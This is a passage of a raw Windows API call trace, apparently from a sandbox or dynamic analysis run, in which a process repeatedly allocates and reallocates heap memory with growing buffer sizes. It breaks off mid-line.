[0034.479] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4df7d8, Size=0x20) returned 0x4df828 [0034.479] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e3e60 [0034.479] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4df828, Size=0x24) returned 0x4d84d0 [0034.479] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e3e80 [0034.479] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4d84d0, Size=0x28) returned 0x4d8500 [0034.479] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e3ea0 [0034.479] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4d8500, Size=0x2c) returned 0x4da790 [0034.479] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e3ec0 [0034.479] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4da790, Size=0x30) returned 0x4da758 [0034.479] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e3ee0 [0034.479] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4da758, Size=0x34) returned 0x4d99a8 [0034.479] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e3f00 [0034.479] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4d99a8, Size=0x38) returned 0x4d9968 [0034.479] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e3f20 [0034.480] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4d9968, Size=0x3c) returned 0x4d22a0 [0034.480] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e3f40 [0034.480] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4d22a0, Size=0x40) returned 0x4d2258 [0034.480] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e3f60 [0034.480] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4dbfe0, Size=0xc) returned 0x4d3848 [0034.480] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e3f80 [0034.480] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x4) returned 0x4dbfe0 [0034.480] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e3fa0 [0034.480] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4dbfe0, Size=0x8) returned 0x4dbfd0 [0034.480] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e3fc0 [0034.480] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4dbfd0, Size=0xc) returned 0x4d3830 [0034.480] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e3fe0 [0034.480] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4d3830, Size=0x10) returned 0x4d38c0 [0034.480] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4000 [0034.480] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4d38c0, Size=0x14) returned 0x4e4020 [0034.480] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4040 [0034.480] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e4020, Size=0x18) returned 0x4e4060 [0034.480] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4020 [0034.480] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e4060, Size=0x1c) returned 0x4df828 [0034.480] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4060 [0034.480] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4df828, Size=0x20) returned 0x4df7d8 [0034.480] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4080 [0034.480] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4df7d8, Size=0x24) returned 0x4d8500 [0034.480] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e40a0 [0034.480] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4d8500, Size=0x28) returned 0x4d84d0 [0034.480] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e40c0 [0034.480] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4d84d0, Size=0x2c) returned 0x4da758 [0034.480] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e40e0 [0034.481] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4da758, Size=0x30) returned 0x4da790 [0034.481] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4100 [0034.481] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4da790, Size=0x34) returned 0x4d9968 [0034.481] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4120 [0034.481] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4d9968, Size=0x38) returned 0x4d99a8 [0034.481] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4140 [0034.481] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4d99a8, Size=0x3c) returned 0x4d22a0 [0034.481] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4160 [0034.481] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4d22a0, Size=0x40) returned 0x4d22e8 [0034.481] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4180 [0034.481] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4d22e8, Size=0x44) returned 0x4e16f8 [0034.481] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e41a0 [0034.481] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e16f8, Size=0x48) returned 0x4e16f8 [0034.481] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e41c0 [0034.481] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e16f8, Size=0x4c) returned 0x4e16f8 [0034.481] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e41e0 [0034.481] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e16f8, Size=0x50) returned 0x4e16f8 [0034.481] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4200 [0034.481] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e16f8, Size=0x54) returned 0x4e16f8 [0034.481] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4220 [0034.481] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e16f8, Size=0x58) returned 0x4e16f8 [0034.481] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4240 [0034.481] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e16f8, Size=0x5c) returned 0x4e16f8 [0034.481] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4260 [0034.481] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e16f8, Size=0x60) returned 0x4e16f8 [0034.481] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4280 [0034.481] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e16f8, Size=0x64) returned 0x4e16f8 [0034.481] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e42a0 [0034.481] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e16f8, Size=0x68) returned 0x4e16f8 [0034.481] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e42c0 [0034.481] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e16f8, Size=0x6c) returned 0x4e16f8 [0034.481] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e42e0 [0034.481] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e16f8, Size=0x70) returned 0x4e16f8 [0034.481] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4300 [0034.481] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e16f8, Size=0x74) returned 0x4e16f8 [0034.482] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4320 [0034.482] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e16f8, Size=0x78) returned 0x4e16f8 [0034.482] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4340 [0034.482] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e16f8, Size=0x7c) returned 0x4e16f8 [0034.482] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4360 [0034.482] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e16f8, Size=0x80) returned 0x4e16f8 [0034.482] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4380 [0034.482] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e16f8, Size=0x84) returned 0x4e16f8 [0034.482] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e43a0 [0034.482] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e16f8, Size=0x88) returned 0x4e16f8 [0034.482] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e43c0 [0034.482] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e16f8, Size=0x8c) returned 0x4e16f8 [0034.482] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e43e0 [0034.482] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e16f8, Size=0x90) returned 0x4e16f8 [0034.482] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4400 [0034.482] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e16f8, Size=0x94) returned 0x4e16f8 [0034.482] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4420 [0034.482] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e16f8, Size=0x98) returned 0x4e16f8 [0034.482] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4440 [0034.482] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e16f8, Size=0x9c) returned 0x4e16f8 [0034.482] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4460 [0034.482] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e16f8, Size=0xa0) returned 0x4e16f8 [0034.482] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4480 [0034.482] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e16f8, Size=0xa4) returned 0x4e01b8 [0034.482] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e44a0 [0034.482] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e01b8, Size=0xa8) returned 0x4e01b8 [0034.482] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e44c0 [0034.482] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e01b8, Size=0xac) returned 0x4e01b8 [0034.482] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e44e0 [0034.482] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e01b8, Size=0xb0) returned 0x4e01b8 [0034.482] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4520 [0034.482] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e01b8, Size=0xb4) returned 0x4e01b8 [0034.482] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4540 [0034.482] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e01b8, Size=0xb8) returned 0x4e01b8 [0034.482] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4560 [0034.482] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e01b8, Size=0xbc) returned 0x4e01b8 [0034.483] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4580 [0034.483] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e01b8, Size=0xc0) returned 0x4e01b8 [0034.483] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e45a0 [0034.483] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e01b8, Size=0xc4) returned 0x4e01b8 [0034.483] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e45c0 [0034.483] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e01b8, Size=0xc8) returned 0x4e01b8 [0034.483] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e45e0 [0034.483] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e01b8, Size=0xcc) returned 0x4e01b8 [0034.483] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4600 [0034.483] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4da720, Size=0x30) returned 0x4da790 [0034.483] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4620 [0034.483] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x4) returned 0x4dbfd0 [0034.483] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4640 [0034.483] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4dbfd0, Size=0x8) returned 0x4dbfe0 [0034.483] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4660 [0034.483] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x4) returned 0x4dbfd0 [0034.483] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4680 [0034.483] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4dbfd0, Size=0x8) returned 0x4dbfc0 [0034.483] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e46a0 [0034.483] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4dbfc0, Size=0xc) returned 0x4d38c0 [0034.483] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e46c0 [0034.483] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4d38c0, Size=0x10) returned 0x4d3830 [0034.483] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e46e0 [0034.483] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4d3830, Size=0x14) returned 0x4e4700 [0034.483] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4720 [0034.483] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e4700, Size=0x18) returned 0x4e4740 [0034.483] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4700 [0034.483] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e4740, Size=0x1c) returned 0x4df7d8 [0034.483] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4740 [0034.483] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4df7d8, Size=0x20) returned 0x4df828 [0034.483] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4760 [0034.483] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4df828, Size=0x24) returned 0x4d84d0 [0034.483] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4780 [0034.483] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4d84d0, Size=0x28) returned 0x4d8500 [0034.484] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e47a0 [0034.484] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4d8500, Size=0x2c) returned 0x4da720 [0034.484] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e47c0 [0034.484] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4da720, Size=0x30) returned 0x4da758 [0034.484] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e47e0 [0034.484] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4da758, Size=0x34) returned 0x4d99a8 [0034.484] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4800 [0034.484] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4d99a8, Size=0x38) returned 0x4d9968 [0034.484] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4820 [0034.484] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4d9968, Size=0x3c) returned 0x4d22e8 [0034.484] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4840 [0034.484] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4d22e8, Size=0x40) returned 0x4d22a0 [0034.484] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4860 [0034.484] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4d22a0, Size=0x44) returned 0x4e0290 [0034.484] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4880 [0034.484] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e0290, Size=0x48) returned 0x4e0290 [0034.484] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e48a0 [0034.484] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e0290, Size=0x4c) returned 0x4e0290 [0034.484] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e48c0 [0034.484] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e0290, Size=0x50) returned 0x4e0290 [0034.484] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e48e0 [0034.484] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e0290, Size=0x54) returned 0x4e0290 [0034.484] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4900 [0034.484] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e0290, Size=0x58) returned 0x4e0290 [0034.484] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4920 [0034.484] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e0290, Size=0x5c) returned 0x4e0290 [0034.484] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4940 [0034.484] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e0290, Size=0x60) returned 0x4e0290 [0034.484] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4960 [0034.484] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e0290, Size=0x64) returned 0x4e0290 [0034.484] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4980 [0034.485] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e0290, Size=0x68) returned 0x4e0290 [0034.485] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e49a0 [0034.485] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e0290, Size=0x6c) returned 0x4e0290 [0034.485] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e49c0 [0034.485] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e0290, Size=0x70) returned 0x4e0290 [0034.485] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e49e0 [0034.485] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e0290, Size=0x74) returned 0x4e0290 [0034.485] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4a00 [0034.485] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e0290, Size=0x78) returned 0x4e0290 [0034.485] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4a20 [0034.485] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e0290, Size=0x7c) returned 0x4e16f8 [0034.485] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4a40 [0034.485] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e16f8, Size=0x80) returned 0x4e16f8 [0034.485] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4a60 [0034.485] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e16f8, Size=0x84) returned 0x4e16f8 [0034.485] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4a80 [0034.485] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e16f8, Size=0x88) returned 0x4e16f8 [0034.485] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4aa0 [0034.485] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e16f8, Size=0x8c) returned 0x4e16f8 [0034.485] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4ac0 [0034.485] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e16f8, Size=0x90) returned 0x4e16f8 [0034.485] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4ae0 [0034.485] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e16f8, Size=0x94) returned 0x4e16f8 [0034.485] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4b00 [0034.485] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e16f8, Size=0x98) returned 0x4e16f8 [0034.485] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4b20 [0034.485] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e16f8, Size=0x9c) returned 0x4e16f8 [0034.485] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4b40 [0034.485] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e16f8, Size=0xa0) returned 0x4e16f8 [0034.485] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4b60 [0034.485] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e16f8, Size=0xa4) returned 0x4e4d08 [0034.485] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4b80 [0034.485] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e4d08, Size=0xa8) returned 0x4e4d08 [0034.485] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4ba0 [0034.485] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e4d08, Size=0xac) returned 0x4e4d08 [0034.486] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4bc0 [0034.486] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e4d08, Size=0xb0) returned 0x4e4d08 [0034.486] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4be0 [0034.486] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e4d08, Size=0xb4) returned 0x4e4d08 [0034.486] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4c00 [0034.486] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e4d08, Size=0xb8) returned 0x4e4d08 [0034.486] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4c20 [0034.486] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e4d08, Size=0xbc) returned 0x4e4d08 [0034.486] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4c40 [0034.486] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e4d08, Size=0xc0) returned 0x4e4d08 [0034.486] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4c60 [0034.486] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e4d08, Size=0xc4) returned 0x4e4d08 [0034.486] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4c80 [0034.486] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e4d08, Size=0xc8) returned 0x4e4d08 [0034.486] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4ca0 [0034.486] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e4d08, Size=0xcc) returned 0x4e4d08 [0034.486] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4cc0 [0034.486] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e4d08, Size=0xd0) returned 0x4e4d08 [0034.486] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4ce0 [0034.486] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e4d08, Size=0xd4) returned 0x4e4d08 [0034.486] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4e00 [0034.486] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e4d08, Size=0xd8) returned 0x4e4d08 [0034.486] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4e20 [0034.486] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e4d08, Size=0xdc) returned 0x4e55e8 [0034.486] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4e40 [0034.486] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e55e8, Size=0xe0) returned 0x4e55e8 [0034.486] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4e60 [0034.487] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e55e8, Size=0xe4) returned 0x4e55e8 [0034.487] RtlAllocateHeap (HeapHandle=0x4c0000, 